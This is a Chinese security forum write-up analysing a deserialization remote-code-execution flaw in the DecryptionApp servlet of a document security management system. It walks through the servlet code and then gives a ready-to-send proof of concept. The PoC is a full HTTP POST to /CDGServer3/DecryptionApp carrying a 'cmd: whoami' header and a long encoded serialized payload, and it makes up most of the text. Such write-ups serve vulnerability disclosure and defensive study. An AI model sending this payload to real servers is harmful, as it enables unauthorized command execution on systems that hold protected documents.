奇安信攻防社区-某通电子文档安全管理系统DecryptionApp反序列化漏洞RCE

某通电子文档安全管理系统DecryptionApp反序列化漏洞RCE

某通电子文档安全管理系统DecryptionApp反序列化漏洞RCE
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**前情提要**：某通是使用了servlet框架，一般都是先去web.xml寻找相关路由进而确定代码的位置

代码分析
----

首先进入到WEB\_INF的web.xml文件中，ctrl+F搜索`DecryptionApp`

![image-20240812154352756](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-1f935b259ffe2b36ead8e484f642ff5b4329342f.png)

ctrl点击进入到该这个`com.esafenet.workflow.servlet.DecryptionAppServlet`中,该类继承了`HttpServlet`类，那我们重点关注的就是前端交互的方法即`service`方法中，在该方法中有我们可以控制的参数`request`

![image-20240812154512539](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-b88f59af4fda6ece1d980fa90dfbd6c7bd0b6af9.png)

现在就详细分析下这个`service`方法中的内容

![image-20240812155048535](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-54dbb648a23c634b56b7159ce85c927eafcf43b0.png)

**分析**：我们先分析从65-83行的内容，该部分就是先后创建了以一个实体类`DecryptionApp`,一个List列表，一个实体类`DecryptionAppResp`，之后从前端传过来的数据`request`利用`getXMLFromRequest`方法提取XML格式的字符串数据并利用`fromXML`其将转换为一个`DecryptionApp`对象将其赋值给`dec`

接着分析84-109行

![image-20240812155704650](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-7b0bcb5ec5eec41a0ec0fe0baf5b5092e96c2abd.png)

**分析**：先后创建了`Flow`和`FlowDetail`的实例化对象，这两个类都继承了`Serializable`接口，之后获取dec的`UserName`和`Files`的值并且设置了`APPDate`,接着判断list参数是否为空，不为空就是进入for循环中。该for循环中处理了与审批流程相关的文件上传(即list列表中的内容)，它检查文件是否重复，若存在这向前端发送相关的XML数据，若不存在就构建出文件路径和列表字符串。

![image-20240812164028115](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-5138bc0b731fc5a13fbb263316a9af259fd9038f.png)

该代码并没有对前端的数据进行任何的过滤只是进行了简单的数据库查重，这就触发了我们的文件上传漏洞，同时这个Flow类继承了Serialization的接口存在反序列化漏洞

接着从111-270行，因为内容太多并且对我们的漏洞利用没有太大作用我们就简单说一下，这段代码就是处理了工作流(Flow)相关的审批流程包括了审批者的确定、审批级别的分配以及审批状态的初始化

![image-20240812161608658](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-f1d2241a4678c6dbaee950c372920c4efdfd4f1f.png)

接着就是到265-297代码的分析

![image-20240812163514010](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-dd692f03ca1d48656bd7afa01389b7203bd16f30.png)

**分析**：该部分的内容就是将模板名称、标志位以及之前的文件列表字符串设置到工作流对象flow对象中，接着就是进行sql数据库的连接以及调用`flowDao`的`addFlow`方法将`flow`对象添加到数据库。如果操作成功最后将我们的数据以XML的形式反应给前端

总结
--

该漏洞的形成利用了两个点

1. 在对前端输入的内容中，没有对文件的内容等方法方面进行相关的限制，导致可以上传任意的文件
2. Flow类中继承了`serialize`接口，我们在上传的参数中若存在序列化的内容即可利用它来进行反序列操作，进而造成相关数据的窃取

漏洞复现
----

**poc**

POST /CDGServer3/DecryptionApp?command=GETSYSTEMINFO HTTP/1.1

Host: your-ip

User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

Accept-Encoding: gzip, deflate, br

Connection: close

Content-Type: text/xml

cmd: whoami

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPCBDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPANPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBGKKMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABENFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPGLIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCINIECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHCEKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENMMIFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBNEAKOAMMEHPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLEGBPJJCDJFGHDMLPNJBGFMLGMCABONHBLHPKHKEGJIBPFKCLMBIKKOMINPAJEPFHANBIBKMPHKEODCBMMIGAEFCENBNKDONGNLBADGDLJBMJGKEMNJOMPHDOPALIGEPCEDDAHJMNMJBFLIPBODEDCDAPMNGCANOCPLLMJOCPMPJDMEAMEPELICJKJLODAJEILBOJNFAJOFNOGCHGOJEGMGCPNCDEECKPAIAOHCLJBBFDKKAIHOJEKDBOFMFOBEDLNGJNIAJPLGMHBLHODIKDLEPOINDPDDIGKOLGEOBFFPMOHLBEALFIGAKNDKEKEJMJLNGHNANLCGLPNLBBFNKNEKCGBJKJDABFNAGPDILHBAAIECKBLKEDIJIMPJOMFLHBMOBLEKNEHINHAKBOHICLGBBPIEJIKALMIJHKHFIDNICAEEFPGGPBCBFPOJDFFKAGKAEOOCPMGCCMHPCIKHCODDCNGDDNDLAIMAPEMPNECNFPIALJELGOIHECEKHBHOHNIFCBJBFAOKKDCMNHHINAFGNECFPOGHBNMPJOECCFOCHICANBDOCCELJCENBMIMBKCNJAEMBHLOJOGALHGLLOEBFGFJAOFJHEGNLCEBCHGLNFEEIDOKIJNDHDANFPGLEMHOIJHOOJGKLGHBFBMBPBKEFOAKAIAGDMBLDEKLFKADKHNPAKBNPDKFIOAMAKKEHFNDABEPGKBMFCDFFOCIPDDEBOBFONDJFAJIJBAMGNBMCMJODGEGKIMIOLLAKMKJJAOCEMOBDCODALCKGKKKIADHOFMLNDGJBEMLLJPJOKPAIDACMPCOKAGKLIIMDENPNMEIBBMIFHGJKLKGPNOBJGMMLDKFKALLFHFDGDBDBMPOPDBLDNMAALEMAHGINFECKFHKJHFOCDJNBEDNGJCNENGIDHBJOLHEPFLEPHOOGJKFEGFLEMLGKDOOKIMAJIBJKOLAKCHBJJFDIGEMPABDNJFGMDAGEDIOHJKOAEHPLIBOFLIMFIEFOOGDHDNLCKOKPEDKEEBPAHKFMKBNNBAMICPOPLNPIGLMPDLAFBIEPHPJBFLBDECCPFINEBGMPMECAICGFLMJEKEIKDOKJMOAJLFNHHEHEPDAMFLNPKCDPODPLMFFAMILMAFIDBDJJOKIJKGJACMOMEHDDCJJAAOAFJDCCEFHKMJNDJEOLOOIHCFIILOIGCOPDHENDDEODNJAJJFHNJIBJGJPFFKEDPBJAKIPHPKELOMHNFABNMIMODOGPBOFLLPBGAHCEOBBFJLKNAMKACHIOMMFLAPFJCHBIJAAEJELEFFEIMAMCACJBBGADJDJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIKNBGDCJJCPMABJINOGLAPAHGLJLADBJKFLNAAFKFOBIJKCFIDEKNFGFCHDPGLKFDKPPHPNCFIGAMHBNHMLJAHOKKFLNOCNDNPPJJHBBKHDIIENFAGAHOMFPNNBGDLDEHLBDOKEOAEFPPCIEPGIOAHDEEMIKDPHBMADGLNILDCIEKELEBBEOBKLCDLKLKLLKHDHBHGDDLHOHGPPANCDABBHHBDOOLEOAKBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIGOGDKMBIAMJNNOOFGCNHBCCCFKCAOFDDDCBPLMMHGBLEDOPNEHBOECJGFMFOEIEIFAHLCOOAOLBFFKHAHIEMAEOBBPMBJNDMJJDMNJEMBGMNEPCFODGCOCKJICOBEGAFJKFADJOFMGPILCDMBFLLLAHEKPBCDJEBMHDLBLDLLCIAGNJJBFHFOIPLNNOFAFNOMFPBPNFLPLFFNNBBNEPBHBKJEOHBJPMOHHEKFHGACPFPDAHPCAPPGPKBJBGGNIPLOHFPAPHLHCJJHNGNKOMDMIECKACEPHCFJJAIPLCEOFNLBAFGFLBLNBPAHBOOJOKHIBAJFEAEKBNHHODNJNMEONLHDIPPCJJAEKOOELNHPDPAEPPBILHLHELMDHGPJMILIEOFJHBIJHAIPPKCIJKKANAAKEDNDAILJPGJLIBJMABMPDMHGPNALCCAIIAMJMFGJDOIPEFEBMMOBABIKBMMHMFHLBEFFLAGJLNMDEAOALFJGOGNFMFEFKPMNCNNEFMJNADLNIILEGKLOOHMBHPJJCNFBPKIKMAIEIANCNDLOODENILDEJELHACIBBOCINOOFNPMINIFDEFMPBNDMFGHJHNKCKDECBJIBFMIMBGFCIHDJAKCPNAPNMOIKJIDLPJCIKNOGJDBALIDJPCNICIAIPNGPCLDBGPIFLGDPNDOODLHJPLHFILLLKDJHHDIBODNIPFLCAKAFMGCAAMKOEOPLJAAAPDAHJAJHIHGPDFLNALHAPHIOBEDFICNIHJLFALHJKNLFLBKIHIFNAIIFBILLNOAIOKFMLEPDIKMHGNMDLKBIEGLFHDNPPDFPEDPGOLPICMJPOFEAJJMHGKPJEJNEMJGIPKBDHEGLILBLJIEICMNINFCHAOGJNMIHPAOJCCFNJHGJCJEMJJPCNFDKKGDJCDFBPGNKGDMPEBIIMLMBBAOGBOPAEFOMIHEJCKJGBLFFOGNGOFPPJEFNPLFPOGPICGIKMGPNIKNOELEMAGNHKHOIKAILJBMJJIPABBGPICCMPNFPHHFHKDAHJKBMAHDBKLAJKPJFHOICCDFKJEDGGFDKPGJLKFJJJKCOANLNPDEJLHBBHJJGMNJPHFCHGINMJIMBDCBCDOHKDANDLFDOOCEADNHODFKGLBGAPAAONECAEACNDKGFGIMDAAKMLJJLAGKCJDECINGDJAHONECBMFDKMCKHOKADAPGBOKOGPEDFMHKFBDEBOMKNMELIALJHOHGOCAMKJCFECMNCODNHGIFBFIIJMPEHGNBDNGHICBLIGCOPDHENDDEODNJAJJFHNJIBJGJPFFKPBFOBDLLOIBAHALODFMHODOHOPGPMGLIPIJONOFCGMELPFMKMMCPFFNMILJFONAACCBCIJFCAFHOHLBALEIGHDPMMFMFIHKJBAGGGBDEDNCDHEJALEBDPIIEGCKGKMPLGKJGEJAJPMIFCDBAELNMDPNKFCAEGJCAFJPJBBMPLMEIGCNPOLIGHCLGMEJLKCHEPGBJCCDECFMKIBLFIGOFEJKPGAHIGOHNOKMLOHLKDIPAPMFOPBHDBMAAEBEOKBEMEHIILJENNPKHJIMJMNLGHMAENHOHGMEFLKPJJBHDGLGAAMIGDMDCHBMICMDKNGPCOPEKDEMFLKINAMOKNDLDBABNGLFPJHFMKMBBCAEJDENPHGJGGPLMIIHHIAHGIBOINFBNCKJLJIGEPNAOGJFAFPDDBHEBCKNNJKJDLBPHHDNNCEDGAKHGOKPMCLOOPIHHNFMNFOILEAOIFGOJGPDCBLNGLEIOHHHAJPFPGLJNFFHKCNMFGHAHANBJLHJFNNLIBEIFKHJHMENIIOONPDMFOCPKEDHHMEPHAJKGALDFDBOFKBOCDDAFLJBDIENKOHGJPHGLOPDMIEPDBHBBEILLFPOAKJKJAPFKAOMLFOJBLAAEAIFLBOMGECGDBILGNGBEHDEOFLOLHJKAOJMJKNNLKNDHAPCKCHLAFHMCCLNNIIGJLDLCCOALPEPPNEBDNPGEMMPFFALFDONIGHJEMJGJGPLKDKMBGCLJEPLHDBOIKMNGELEKLJLFFAEEEDMBJFLJGGHMPHADEJEJLKJCMLNFIELFBOKAOPCIMCEBFNGMECGFAMMNOMCHKEIJGGNIHKPBFJLKODLLABGBJANDJFBJNBDHIDNGJGLAOFHGFBMJAFJNNLKNBAALOGIIHFMIOLDOEEFNNJDFLIMNBAHJGPJBDHIKGHCDMMLKFOHOJFLOLHHCEJACKLGHIBJHJHGMECCLNHBDGHFNPNOFEJKKOMEFONNBANBKOLDEMFCMDLNLGDBFEOIKAFJDAHAEJHMIJGJFAOJIHAIBHOOEMHHCOODAIEOEBFLMNAMDIIDLDHAIJDBKCMGKJFHHFKKGABCJCPHBBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIINLEMPICLDNGAEELNGONJIKOPFIJBJIPDGPLEDMHNJJHLBJDDGNDIHECEJNEFNLEHNHFCFOEEEGFIOKCPENDLNJJHGFJGAMNFLNFFIMPGKEMKKAMEPBAHBKBHGGIEANHFOKPEDDNLADKABNLJPONGDIGMCLENLOBAKMEPODENJNNDPEOCCLMLOJDJPPPMEFLBFLAIDHNCCHDDONIDPMKIOAGODDPKHDBGFCIGOAFLPBMELEPDHECABPOFMOKJECEHKIJIKHLCEFMAIGEKAALLCMMCDLPHELOCEDNIAIIHJCGFHJFBBKFKCFOBAABJEIMEIMDPEPCHKEBCEMIPECMAJGCEKHGOKOGFNHHFMKOICKKBKKKBDGDPCGLGMGALDDMEEFILPFOCFHFGIPOHKADHACFDJCGCKPANCHDAEDMNIEACGEECCNIBJGGIENIOENAFDBNMJCPJDDDKGDLKMCILLIEKBEDADHHCMONHBAABOGHMPNGHHEHIHCBBJJINCFFJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIMBDPENPCFFFPDGMKEBPFOOFFBHCKPAGHGJJELHDFJBCKLMAJDCJIIILHKBHJJMKOAOMLFOJBLAAEAIFLBOMGECGDBILGNGBELIMDAFIFCBLHDHLCJLMAHCOKGMKDCLKKOGKKNDDAHMGGIAKGHAHPNADHLLPPFDJILKFMIHHPIMLOGMDHPFJHPMGEBKHGHLFDKPIKNDKFLBNHOODBEAHNBBDBALEJGOLJHFPKEIHMLKAJHBNICKMPHFANCLPNFFLDDHEKKOLODMEJOIJGPDOPCGDPKLNDLPBHFGIMJCPMLPCPNPCJCKNJBCJOJIJCHDGIDIIJGKMKAICADENFOEEGHJNEHADCHNEMABINOIIGAGNGNPNCPALKIADLLJBEMOKJEGPNELELFGCIFOMAFBPCAKEDHIGLMFPFIHGLFPIHFAOFBEIIDHKDCGIGPNOICHCLEAKLHILHDCONAKMNHALCLFLNOBIMBCMKNGHPIHGDEIGGILLNIHDPACAJGHBEBEBMIDAOCAAKGMNBCBENBLGLLLOKMDMJANECALMLPLJNKGJKBLCIPBJBPMJOHNPOBPOBCGEMKBPJABNDBKCGAFALLDPJHHGMOGDJDNEKGJBMEIBPIJIOLDOPCEDKDPACBAAMDFLLJMFEGLKICDEMPCHMHIDFKFKDCMGGALJOLJEMCGHMKIMJPOEFPGECHMGBLGGGBJEHBDGGAJEALPEDHDGJPPFLLAHGGKAPCNJCIFBLMGGCKOJLHCHOIMMGEADLOPOPLIHPEPBAHNKNAKOFIMOBBJIBBHMFDNDAIIFMLPLABGGJEDHELLDPGHIGOECAEMDJBGHODPCNEDENIFPEHAMJDPDEMNJOACCBGPPEILNOKDFHCNGKANGBCDCDNGEIBMJODCBPJNGKLECPCHDHJEEDHNFJEKGLMAFKCMKAMJPDMJLBGLPEJLLHINCGOCOENMLDKLDLHIDAHBBINIEFLIFGBJGMGMDOJDLFNMAJDPIFGICFKKIECPIPHHBMAJJGNBPCKCOIMIOODGNDMKKMLKFIDHKBFGDHLGANLCJCDEMNPGCGPIPNEMIKDJJNKECHEJMCNAGDJNGIFFDPFGMAKLPLPLMOEDIEIOIIKMFLNDFDHCJHENMMAAJOFJLGDIAHBOCLMAGLPKKJAJGFPDCBJPGNAAMNGNNFDHDPIEHFFEPPJOMADEBHBIGFNOKHDKDNAIAAKLIGFNIFDKFMLJANODMADILHHONCGNLNJEKKAJHPMIDGHNJJOAGGFNKCOCONGBKNDNIJOLBGLGPLAKGCDIKIBNPMOACDBJLDLCNDCKFOJKINIIPBNBDHMNDEILFFCBIEMNMHCACEDFAHNMJLDEFGMJIINCJDNOHLDJIDOKKPCCENOHBDNMCGEHGENDBBBHFOFIAFGGCNKOKLMMCOOHNJEAJKILLKFJCEKEEDJHBGIMKLOEANBKMBFLDAGGOAIHNLDOPBPCHGNIDHGKFAMFGKBIIENFMJLHCGEMBKNJPMKDFCJCHFOLNOIPADHBEPLLHMNGEBMBHNLBHPIGHGPGKCPFOEGAHJKPIPGGMPIGNBDDIHKCLOFKIBBBHNPBNCLFGCHPOMIENELILEJPLKAHBJEPICAGJMNOAAOJLMPDBOOMEOFFAMKILAJANPCKENJMKLFKMBGOKBNKFGEGAEPEANNCIEENEBEBECBGLOKHEJCFCKABBAAMCDKCIMJLILOAEKHNKPCGOLDBBFFIGDHPDHOFNMLANMCHBIEHHIBHOPPLOFEGOAJLHCHPHGKLOCGJKKABNHLEHGKOINGEDMGDMCKKKLABBIOJCGANBDOCCELJCENBMIMBKCNJAEMBHLOJOGFLKJCNMEPJPKGKPHDGHIDCKAODGNNNCDKEDHLCIANLKENHMMDELDNBPNNNPHLGDDOLGDFPHOHFPBKMFEGOLFMMAFCNCDLMEKPKCDJNHIOJOOJADDHHHPPLGLMINICBIOEIALHBBCEGACCNDNOAPGNAGELEPGCBGLAEOPFGGIJBAKDFCPCCGJAHBDAJEPBCFMNJIKADAACMEFNBCBKICAALEICBCKEKHPCPDAKMDPGNCBBNKDFICFKKJEGOEJELPGLECFINPMBCCDLIGEJJALHPNHDAMIFEGJOCFGFDGBNJKHKAMOKOKKLIFIBAFAELPAPCHFFEOEBNFMLGPPMCDHDIIABOBFDCPFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBDLODOABMLPLAMCJIFGJNHALNOJMBLCFJFCDNCHLBGHLCAOICIJGDLGDMEKPHHMBOHAJJGMAIGLPIEIHHLKDOMBJMOPJIKBAKDHBBJLJJNPOHIDBAFAGMBLLPIEHENEMHNIFAGMMELMAJHCLFCDNFKHGEJFGGEIBKPFAFHFOFHGMCLLGCAJDGGJNKFBGDAAEAJNGEOJBBIFLLKNJIOJNHCFKPAPHGABENLMABGDMFOEEKIMHOBPCLPEAGNBFHEOMLGDDLDCODAJIEIPJNHJFDPHILIKHMHJHBJBLPNPPPJOJJBDJHCPOCLBIBBPJLLMNKIOKPHOFJKEJAMOBGCHOONMPJNEGDMNFPKMNOIOMJPEPDNKBODKFCDGJMGBCNHIGHFODOJAHDAFEDKOGGLMEJCOACLPIMCMPLDKDAPFJGGECGPNCEDGAEMJADOCGBEFIIPBMJMMMPNHNAKJOBMOIMMOMEBOBHPPIPAHJHKMJADIIDCIGOMDJBJHMHCGFJLELPFOMAFEAPHLHCCKKNNJMMLKIJEBGEBEDOOLIFHLKHCOONJMHCAFGOKNOAAKONAAPPMONFOJENLNEPGBJKLEHIGBDOAIDKAILCHIFPPGGFLGCPINADFPDCGMIHHIPHBCPIPHKGMGBPEICLDADONHGOFMMAMLAAHHMBIGNNOENIOJLMNGNMMKCNGEKEHLJHHCDFJKMDOGMOLHIEHDOCNBPILJOFBNCDONBOIHDDLALGCLOBNAFBDHNPEJJODIENCOCKHGOHOOLHFNDOFAEPCHOJNFJJNHKAIBGJEGDBHDFJGHGEPIAGPJBCCCAKMHIFDDNEDMCAOBCCGOHCMMADMKHCKIACBMGFKOGDNFGIGBJFFFKJFNIJAPHIMHKOLLIECAJFNFLJLLHEBIBLIOBOEIMNJMIJOCHEBEKPDJOCCMGGEOKGOMOFPKAICOHBGBOEFIIIAJKPEIIGBGLJCCAHJNKJFILFICJCPAICDGOBJIHMEOJHLCNJBDIEHHNDGKMKLLDLMAJLOHECBFJEOHKCABKIHGEBNMAGAODODMAOMOBILIIGCDKPJOKLAFLJLENBFFNNAKANMKNKNBNOJBKEKODPBIDDCELHBDDHCKEELKFLEHCNEFIAOJJHHHKIAGDJJGNKODKIGJAGBFEBMDEOMCHILDNFEEPFOGPPAHEHACDCHDOIDELKKBLAOJACMGMIDOJIJLPAOCLLIIFPLJDKCOEIOPBEAHBLGNHJHPLNMFFMKEHLOPIGNFNJNGIEPNELLHMIIGNPODEDCIHCIJBNMENKGFNOMILCBMELHLHNOBFLJHDIFLHPCKEAGJJNEAOBPNGKECFLDPPMCCLMNMHFICELDKEFNPMJHNGOKLOBHONELNCPLNDFKOIJONIBBBGABIANBIHHJDDLACPJEENOHCCDIJAPBKNNOECPIGOIMNMMPOGNCEOGDKNCCBHEEJCLEFMBEMEJICLGNHNIPEIOIAPKJDGOIKGEBGODFIGCHKCFFLPGFJBKDJOIMEJEHEEAOOJGLGKKDHGCIGFFOPILPFENMOKOMJLODFBNKOFEJKICAMBGPCPDNJOJDALNGCOFDAINHOAMCNLIIJEJENKBHFDAOFAAPJKBONHBMGGKAEMGHNJPCJFBDCKICEIELCGDJKIDFAKAFEHEBOMOBOGFDNEAANCAINACLGFMMFOMGCCBNLDCCPGLKNCABNEDFIGKDJHAEJIOOACADPENHDNOOKPILJCLNGMIIOPICHFPACILNJNAIEILINONKDMONACMLIKHOMPLHAODMDPFDNNKDMPMFEIMBOIMLOLCBBGOKONLDJCDDHGHIIIHDOLIJMGPFKMMPBDDPBIKJIBPKDNHOAHEFENPMKBLHOCDKLCKIMAOFHOEDNHKFNKKGHCICLAFKOBANHOIHACPLPLBCEJFONFMMGKINEPMEAANNFKCFODBDNAOIDMEFBLPBAIABHFJBNGMIKCJFGLPEHNDJHMGKFPPGEAFHEBFACNBIGGEIKCPBGIKHHNEAEMOAKKEMFKHDEBEGDDGJJLCIIICMNIDNMBIKHIDLJNCOHFENHIFNKJEECDNLHMPGPGMJMGJIJHDBFECNLMLFCLDFOMCFNBJELHJFFLDKGNOIHKEIFCBPOPCBGIJENFHKCNKOJMFBFIPFGBLFJCFPFNOCKGAADPFFEJFDNKGFMEILHBFMAFBMBOFNDGOMCGNIGJGOBPEOBPEKGPMMEMHLHMMCNDCDFPMACNDELNHGCALNPHHNFFLNAKEEEELCDLHDHBFOJBJFHBOJNBGEOLIACBICKNMEEGPBEKIBEEMKGKLDAKAALKOBBJIGECCKHILNGKJLKGJBOPOFHCNHBKFPHLLLLMNNKPJADFGMCMPLILPCLOLJPOCIOOPOAPPMPFOEPNFGEEDALHLEIHJFAIHCFKLJKCBAABOIBBEAGAAPJJIHIHIACHLKBCPMEHCDGDPKPMALDBADOEKFMDFGAPPGNNJDAMPMNBAEHLLGIGCOLKJPGANBJODFEMFHHDAIMFNNIAEAKLKBBEEADPHIDIINDABGNKNOODAGKLPGAIOIFJLONMCNGOMOEALKIIJFLAHEDDNHDENODGINCAGDBFAAECFCNPBBOBBIALOHDOIOMMMJCAHMEFMAGNLALDIPAJPHLOKCHJGGLGEHFJKMDEAHEGABCCMCFOBFCMGGKGBCCBPJIJJNHNAPPECAPJEHMDMOLFIEOIFOFFGKCFCNFAKAPGBMEBJGIDLDBNHOLJGLOKOOKCNHGLNEGNBKHFDOJINFAPPKMMOJCOCENEHPCGDNKKOJFPBNFHIDDHFPHMCOAOKMOPHJNOJCFOJJGOOLNCKAHBFDPIDMJGKBHHEAIOKPJEAJJCNJFMMCKHJANGDEIHKHBAAFJCJGGECNBIBNLBLFMBGDJGHJDPMBIMPJLLBNNANCJJHBJBLEPGNIJOLGJLCGEJKNGBLDLGKMIOANJGGDPHHCGHLENGJHBANCELNLNNBADCDDCDOENGLFGIEBCMHPFBLOIDMDNBCAMFMCMMKCDKPOFBJFBGCMPOFAPCILIPFJDEDDAGKFMHBBEHIHOAGDKPONBOADJEIKKBPNBAPDNOEEEFONAMIFBLIHLLKOLEFHKPPKONJOCFHFOAPIJGMHKPHGIMBGOBOAOCGLMGDLIOPIJKFJIPCHAJEGJFCPOBLAEDFFGIMKEIPDBKNCKIHFHCIHDFACJMOGHMONMPPDKODNGCOBFMKBBMIEFGHOKOMDADNGANEMKDFLNMCABMOONIFKFEGDLJFAHLOODEBNBKFGPLANHIJFFDLBFJDCJHMPCPHBDPFICAJHCBBKLNLGEPHMCGKEKOLJBIIAMLMCFBIGACEHBBLHAIBBODKEDBPKPADPBJIKCGFCKDHPKCGELAMHIFEBBICMAGHPDCIIAJMBKCFMHJDHIPNNHFJILAIBPKKGLOEONLBLJGCIMHKAJCAHCNNDBDEJNDGFNMEJJECPFIONGEMLMOPEDNJDFBAHAEBOKMCNEMBEOMFIFCKLEKNLJOAINFFJLKPGPLHJMAOMLFLGDPBCIIPPPOHNMKOKPGEMFEOLDEHEJMPIOIAODDNJOFGLHNDAJICAOFOJKDDFBMMJJEIAPPNDBAKMJIIGNHJOPHKPINANLLLBBIGNIKKHDLKLJGOPKHGHICEACMCJNMMDJGBNACEOFNBDNKAKIOMHPECJEELPLNGPGMPHCOJGOFBENNNKIEKOJHKDAFGBAKHGILNJMMOKHDMIDIOGGKPFIFJOLIDDEGFCLKGNICGHJOINJCBOPOBKNAIDEEAGGLCMCEGPGEDPNFIKEADDPPINJIOMFKGCMJHDHLGMODMMGCNEIGNGGEMLLABHCCHGGDPGHJFBJMCCFGJCLCFCDJEBFMDMIEDBFJPKLONGIHJABFOGBAALJKCADCBOMDFAHLBPIJEFGLGOGPEAFAKFJCALDHMICDCIHPICLPEANCLCBKOIAMEHHLFIJHPEACFCPDDKCJHMNDBHEHLHBHHPEEACDMICBKGDHODHPCMLAMHOEJKAOODJCIPGMOCGPOAFJDDLGCENAKAFDBDEOKAGLBHJHEJEHCCJEFMIFNJDPDFNFFPAOLIHNFLJDDECGLCJNEEACCJDHPKOIJMOJOPDOKIGOPKMOHHPNOLCDHMOOFDKKBCBEPJPFJBDOEJBCODALFBPMGFPHEMFIBCBEMCANBOMOAKAIGFHJAKKGGAMDPDFMHEEDFHOHKABHBEJFEGAEIPMBPBIHIABBILCOGDCPKHJIPBLCLJEENPKOJLHMALCEKELIPFFLJNNBINAPPOFHPEJDNNILKCEECPJIGJMKEJCNPEKJMDKPLLEHDDIGKKEDEPFHIJKKPNBBAJAMKNMNHIJFHBCKPKAKMAKCHMJJPFMFCFBKJMMEBABPCGCOCNKBJJPLMPHPJFLJLDABHNFFBOIGNCOFHBMFKCKMMENEJCPDOBPMAIDHBNKIAIGKAAHDCAIBLBKPNNLBNMEDCCOBGMDMAHJPPENANOCILDNELHNCIEAOMGKLMCLLEDDPNLDJNBFPEJOKCNNCJHKAPOCGFGENACAGBNBDEIAMGCCGKDNOLNKOCNMMABOMGGKGOFFOLKALPKFNMJJMEMMBBIAAFAAFPIBBDLOENGFIJJAFHNKKIDCGJNIGAFPCPDHPJAKCEKCCKDAIEDJCIJGMJJLEOEDELMJJMEJCCNEIMPDKIALLHFJNNGHOMIJIDPOCLOMECDFMEPAGLKNKEAPKHCBCFDINJHAGJAGPCGEJJEFAABLOEHMDIIGNKKDIILLFGPMBOIKEAAAJGPJHFGAFFPFEPKIKLKBMKLODNLBMFIEFPGAGFPCDCPJACDAEHCFOGEJHHLLBLBBDDOEEJJBPPHDCCOGPOPFOPCFJKBGCNCLLHNAJKIKLHKKIJLAIKBHCMBODNCPCLNHDLMHDPNKGIBANJJHCFLIMKPFOAIEDBDMIBEEPIHODEOLGAJHBNEOGCKIBMGIM